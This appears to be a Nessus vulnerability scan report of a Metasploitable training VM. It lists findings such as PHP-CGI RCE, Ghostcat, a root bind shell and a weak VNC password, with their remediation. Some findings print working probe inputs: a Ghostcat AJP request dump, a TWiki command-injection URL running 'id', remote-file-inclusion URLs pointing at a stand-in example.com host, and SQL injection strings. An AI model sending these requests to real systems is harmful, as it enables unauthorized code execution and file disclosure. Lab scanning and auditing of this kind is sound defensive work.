REPORT

Metasploitable Basic First Scan

Report effettuato da: Anatoliy Prysyazhnyuk

Vulnerabilities by Host

192.168.50.101

CRITICAL	HIGH	MEDIUM	LOW	INFO
12	9	35	9	162

Scan Information

Start time: Thu Jun 1 08:18:49 2023

End time: Thu Jun 1 10:16:12 2023

Host Information

Netbios Name: METASPLOITABLE

IP: 192.168.50.101

OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

Vulnerabilities

70728 - Apache PHP-CGI Remote Code Execution -

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID 53388
CVE CVE-2012-1823
CVE CVE-2012-2311
CVE CVE-2012-2335
CVE CVE-2012-2336
XREF CERT:520827
XREF EDB-ID:29290
XREF EDB-ID:29316
XREF CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

Plugin Output

tcp/80/www

134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

Synopsis

There is a vulnerable AJP connector listening on the remote host.

Description

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

See Also

http://www.nessus.org/u?8ebe6246

http://www.nessus.org/u?4e287adb

http://www.nessus.org/u?cbc3d54e

https://access.redhat.com/security/cve/CVE-2020-1745

https://access.redhat.com/solutions/4851251

http://www.nessus.org/u?dd218234

http://www.nessus.org/u?dd772531

http://www.nessus.org/u?2a01d6bf

http://www.nessus.org/u?3b5af27e

http://www.nessus.org/u?9dab109f

http://www.nessus.org/u?5eafcf70

Solution

Update the AJP configuration to require authorization and/or upgrade the Tomcat server to 7.0.100, 8.5.51, 9.0.31 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

9.0

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

CVE CVE-2020-1745
CVE CVE-2020-1938
XREF CISA-KNOWN-EXPLOITED:2022/03/17
XREF CEA-ID:CEA-2020-0021

Plugin Information

Published: 2020/03/24, Modified: 2023/05/24

Plugin Output

tcp/8009/ajp13

```
Nessus was able to exploit the issue using the following request :

0x0000: 02 02 00 08 48 54 54 50 2F 31 2E 31 00 00 0F 2F ....HTTP/1.1.../
0x0010: 61 73 64 66 2F 78 78 78 78 78 2E 6A 73 70 00 00 asdf/xxxxx.jsp..
0x0020: 09 6C 6F 63 61 6C 68 6F 73 74 00 FF FF 00 09 6C .localhost.....l
0x0030: 6F 63 61 6C 68 6F 73 74 00 00 50 00 00 09 A0 06 ocalhost..P.....
0x0040: 00 0A 6B 65 65 70 2D 61 6C 69 76 65 00 00 0F 41 ..keep-alive...A
0x0050: 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 00 00 ccept-Language..
0x0060: 0E 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 35 00 .en-US,en;q=0.5.
0x0070: A0 08 00 01 30 00 00 0F 41 63 63 65 70 74 2D 45 ....0...Accept-E
0x0080: 6E 63 6F 64 69 6E 67 00 00 13 67 7A 69 70 2C 20 ncoding...gzip,
0x0090: 64 65 66 6C 61 74 65 2C 20 73 64 63 68 00 00 0D deflate, sdch...
0x00A0: 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 00 00 09 Cache-Control...
0x00B0: 6D 61 78 2D 61 67 65 3D 30 00 A0 0E 00 07 4D 6F max-age=0.....Mo
0x00C0: 7A 69 6C 6C 61 00 00 19 55 70 67 72 61 64 65 2D zilla...Upgrade
0x00D0: 49 6E 73 65 63 75 72 65 2D 52 65 71 75 65 73 74 Insecure-Request
0x00E0: 73 00 00 01 31 00 A0 01 00 09 74 65 78 74 2F 68 s...1.....text/h
0x00F0: 74 6D 6C 00 A0 0B 00 09 6C 6F 63 61 6C 68 6F 73 tml.....localhos
0x0100: 74 00 0A 00 21 6A 61 76 61 78 2E 73 65 72 76 6C t...!javax.servl
0x0110: 65 74 2E 69 6E 63 6C 75 64 65 2E 72 65 71 75 65 et.include.reque
0x0120: 73 74 5F 75 72 69 00 00 01 31 00 0A 00 1F 6A 61 st_uri...1....ja
0x0130: 76 61 78 2E 73 65 72 76 6C 65 74 2E 69 6E 63 6C vax.servlet.incl
0x0140: 75 64 65 2E 70 61 74 68 5F 69 6E 66 6F 00 00 10 ude.path_info...
0x0150: 2F 57 45 42 2D 49 4E 46 2F 77 65 62 2E 78 6D 6C /WEB-INF/web.xml
0x0160: 00 0A 00 22 6A 61 76 61 78 2E 73 65 72 76 6C 65 ..."javax.servle
0x0170: 74 2E 69 6E 63 6C 75 64 65 2E 73 65 72 76 6C 65 t.include.servle
0x0180: 74 5F 70 61 74 68 00 00 00 00 FF t_path.....
```

```
This produced the following truncated output (limite [...]
```

171340 - Apache Tomcat Web Server SEoL (<= 5.5.x) -

Synopsis

The remote web server is obsolete / unsupported.

Description

According to its version, the Apache Tomcat web server is 5.5.x or earlier. It is, therefore, longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

See Also

https://tomcat.apache.org/

https://tomcat.apache.org/tomcat-55-eol.html

Solution

Remove the web server if it is no longer needed. Otherwise, upgrade to a supported version if possible or switch to another server.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

Plugin Information

Published: 2023/02/10, Modified: 2023/03/21

Plugin Output

tcp/8180/www

51988 - Bind Shell Backdoor Detection -

Synopsis

The remote host may have been compromised.

Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

Plugin Output

tcp/1524/wild_shell

```
Nessus was able to execute the command "id" using the
following request :


This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------
```

```
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#

------------------------------ snip ------------------------------
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness -

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 29179
CVE CVE-2008-0166
XREF CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2018/11/15

Plugin Output

tcp/22/ssh

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check) -

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 29179
CVE CVE-2008-0166
XREF CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 29179
CVE CVE-2008-0166
XREF CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/5432/postgresql

11356 - NFS Exported Share Information Disclosure +

Synopsis

It is possible to access NFS shares on the remote host.

Description

At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

Solution

Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

Risk Factor

Critical

VPR Score

5.9

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE CVE-1999-0170
CVE CVE-1999-0211

CVE CVE-1999-0554

Exploitable With

Metasploit (true)

Plugin Information

Published: 2003/03/12, Modified: 2018/09/17

Plugin Output

udp/2049/rpc-nfs

```
The following NFS shares could be mounted :

+ /


 + Contents of / :
 - .
 - ..
 - bin
 - boot
 - cdrom
 - dev
 - etc
 - home
 - initrd
 - initrd.img
 - lib
 - lost+found
 - media
 - mnt
 - nohup.out
 - opt
 - proc
 - root
 - sbin
 - srv
 - sys
 - tmp
 - usr
 - var
 - vmlinuz
```

33850 - Unix Operating System Unsupported Version Detection +

Synopsis

The operating system running on the remote host is no longer supported.

Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

Solution

Upgrade to a version of the Unix operating system that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF IAVA:0001-A-0502
XREF IAVA:0001-A-0648

Plugin Information

Published: 2008/08/08, Modified: 2023/05/18

Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).
Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.

For more information, see : https://wiki.ubuntu.com/Releases
```

61708 - VNC Server 'password' Password -

Synopsis

A VNC server running on the remote host is secured with a weak password.

Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output

tcp/5900/vnc

10203 - rexecd Service Detection

Synopsis

The rexecd service is running on the remote host.

Description

The rexecd service is running on the remote host. This service is design to allow users of a network to execute commands remotely.

However, rexecd does not provide any good means of authentication, so it may be abused by an attacker to scan a third-party host.

Solution

Comment out the “exec” line in /etc/inetd.conf and restart the inetd process.

Risk Factor

Critical

VPR Score

6.7

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/l:C/A:C)

References

CVE CVE-1999-0618

Plugin Information

Published: 1999/08/31, Modified: 2018/08/13

Plugin Output

tcp/512/rexecd

125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

See Also

http://www.nessus.org/u?c9d7fc8c

Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID 108617
CVE CVE-2019-11768

Plugin Information

Published: 2019/06/13, Modified: 2022/04/11

Plugin Output

tcp/80/www

39465 - CGI Generic Command Execution -

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.

See Also

https://en.wikipedia.org/wiki/Code_injection

http://projects.webappsec.org/w/page/13246950/OS%20Commanding

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address command execution flaws.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF CWE:20
XREF CWE:74
XREF CWE:77
XREF CWE:78
XREF CWE:713
XREF CWE:722
XREF CWE:727
XREF CWE:741
XREF CWE:751
XREF CWE:801
XREF CWE:928
XREF CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to arbitrary command execution :

+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :

/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS
Clicking directly on these URLs should exhibit the issue :
 (you will probably need to read the HTML source)

http://192.168.50.101/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS
```

39469 - CGI Generic Remote File Inclusion -

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF CWE:73
XREF CWE:78
XREF CWE:98
XREF CWE:434
XREF CWE:473
XREF CWE:632
XREF CWE:714
XREF CWE:727
XREF CWE:801
XREF CWE:928
XREF CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://MgJ__0Yi.example.com/
+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://MgJ__0Yi.example.com/
Clicking directly on these URLs should exhibit the issue :
 (you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/?page=http://MgJ__0Yi.example.com/
http://192.168.50.101/mutillidae/index.php?page=http://MgJ__0Yi.example.com/


Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

/mutillidae/index.php [do=toggle-hints&page=http://MgJ__0Yi.example.com/
&username=anonymous]
```

42424 - CGI Generic SQL Injection (blind) -

Synopsis

A CGI application hosted on the remote web server is potentially prone to SQL injection attack.

Description

By sending specially crafted parameters to one or more CGI scripts hosted on the remote web server, Nessus was able to get a very different response, which suggests that it may have been able to modify the behavior of the application and directly access the underlying database.

An attacker may be able to exploit this issue to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.

Note that this script is experimental and may be prone to false positives.

See Also

http://www.securiteam.com/securityreviews/5DP0N1P76E.html

http://www.nessus.org/u?ed792cf5

http://www.nessus.org/u?11ab1866

Solution

Modify the affected CGI scripts so that they properly escape arguments.

Risk Factor

High

CVSS v3.0 Base Score

8.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF CWE:20
XREF CWE:77
XREF CWE:89
XREF CWE:91
XREF CWE:203
XREF CWE:643
XREF CWE:713

XREF CWE:722
XREF CWE:727
XREF CWE:751
XREF CWE:801
XREF CWE:810
XREF CWE:928
XREF CWE:929

Plugin Information

Published: 2009/11/06, Modified: 2022/10/28

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to blind SQL injection :

+ The 'do' parameter of the /mutillidae/index.php CGI :
```

```
/mutillidae/index.php?username=anonymous&page=home.php&do=toggle-hintszz
anonymous&page=home.php&do=toggle-hintsyy

Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to blind SQL injection :

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php [username=anonymous&do=toggle-hints&page=home.phpz
zanonymous&do=toggle-hints&page=home.phpyy]
/mutillidae/index.php [username=anonymous&do=toggle-hints&page=home.phpz
zanonymous&do=toggle-hints&page=home.phpyy] {2}
```

136769 - ISC BIND Service Downgrade / Reflected DoS -

Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

See Also

https://kb.isc.org/docs/cve-2020-8616

Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.2

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

References

CVE CVE-2020-8616
XREF IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2020/06/26

Plugin Output

udp/53/dns

42256 - NFS Shares World Readable -

Synopsis

The remote NFS server exports world-readable shares.

Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

Solution

Place the appropriate restrictions on all NFS shares.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/10/26, Modified: 2020/05/05

Plugin Output

tcp/2049/rpc-nfs

59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution -

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

See Also

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

http://www.php.net/archive/2012.php#id2012-05-08-1

http://www.php.net/ChangeLog-5.php#5.3.13

http://www.php.net/ChangeLog-5.php#5.4.3

http://www.nessus.org/u?80589ce8

https://www-304.ibm.com/support/docview.wss?uid=swg21620314

Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later. Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

VPR Score

8.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID 53388
CVE CVE-2012-1823

CVE CVE-2012-2311
XREF CERT:520827
XREF EDB-ID:18834
XREF CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

Plugin Output

tcp/80/www

90509 - Samba Badlock Vulnerability -

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

http://badlock.org

https://www.samba.org/samba/security/CVE-2016-2118.html

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID 86002
CVE CVE-2016-2118
XREF CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

19704 - TWiki 'rev' Parameter Arbitrary Command Execution -

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

See Also

http://www.nessus.org/u?c70904f3

Solution

Apply the appropriate hotfix referenced in the vendor advisory.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

VPR Score

7.4

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID 14834

CVE CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :

http://192.168.50.101/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20


This produced the following truncated output (limited to 2 lines) :
------------------------------ snip ------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)

------------------------------ snip ------------------------------
```

36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4) -

Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.

- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

See Also

https://www.tenable.com/security/research/tra-2009-02

http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php

Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

Risk Factor

High

VPR Score

6.7

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID 34526

CVE CVE-2009-1285
XREF TRA:TRA-2009-02
XREF SECUNIA:34727
XREF CWE:94

Plugin Information

Published: 2009/04/16, Modified: 2022/04/11

Plugin Output

tcp/80/www

12085 - Apache Tomcat Default Files -

Synopsis

The remote web server contains default files.

Description

The default error page, default index page, example JSPs and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.

See Also

http://www.nessus.org/u?4cb3b4dd
https://www.owasp.org/index.php/Securing_tomcat

Solution

Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2004/03/02, Modified: 2019/08/12

Plugin Output

tcp/8180/www